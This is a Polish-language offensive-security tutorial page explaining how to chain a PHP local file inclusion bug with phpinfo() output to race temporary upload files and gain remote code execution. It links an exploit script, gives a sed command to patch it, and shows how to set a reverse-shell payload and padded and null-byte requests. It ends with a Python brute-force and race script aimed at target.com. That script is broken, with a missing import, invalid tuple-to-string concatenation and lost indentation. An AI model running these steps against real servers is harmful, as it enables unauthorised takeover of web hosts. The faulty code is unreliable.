LFI2RCE via phpinfo()

Wsparcie HackTricks

Aby wykorzystać tę lukę, potrzebujesz: Luka LFI, strony, na której wyświetlany jest phpinfo(), "file_uploads = on" oraz serwer musi mieć możliwość zapisu w katalogu "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Musisz naprawić exploit (zmień => na =>). Aby to zrobić, możesz:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Musisz również zmienić payload na początku exploita (na przykład na php-rev-shell), REQ1 (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), oraz LFIREQ (to powinno wskazywać na lukę LFI, tzn.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Sprawdź podwójne "%" podczas eksploatacji znaku null)

Teoria

Jeśli przesyłanie plików jest dozwolone w PHP i próbujesz przesłać plik, ten plik jest przechowywany w tymczasowym katalogu, aż serwer zakończy przetwarzanie żądania, a następnie ten tymczasowy plik jest usuwany.

Jeśli znajdziesz lukę LFI w serwerze WWW, możesz spróbować odgadnąć nazwę utworzonego pliku tymczasowego i wykorzystać RCE, uzyskując dostęp do pliku tymczasowego, zanim zostanie on usunięty.

W Windows pliki są zazwyczaj przechowywane w C:\Windows\temp\php

W linux nazwa pliku zazwyczaj jest losowa i znajduje się w /tmp. Ponieważ nazwa jest losowa, konieczne jest wyodrębnienie skądś nazwy pliku tymczasowego i uzyskanie do niego dostępu, zanim zostanie usunięty. Można to zrobić, odczytując wartość zmiennej $_FILES wewnątrz treści funkcji "phpconfig()".

phpinfo()

PHP używa bufora o rozmiarze 4096B i gdy jest pełny, jest wysyłany do klienta. Następnie klient może wysłać dużo dużych żądań (używając dużych nagłówków) przesyłając php reverse shell, czekać na pierwszą część phpinfo() (gdzie znajduje się nazwa pliku tymczasowego) i spróbować uzyskać dostęp do pliku tymczasowego zanim serwer php usunie plik, eksploatując lukę LFI.

Skrypt Pythona do próby bruteforce nazwy (jeśli długość = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Wsparcie HackTricks

Last updated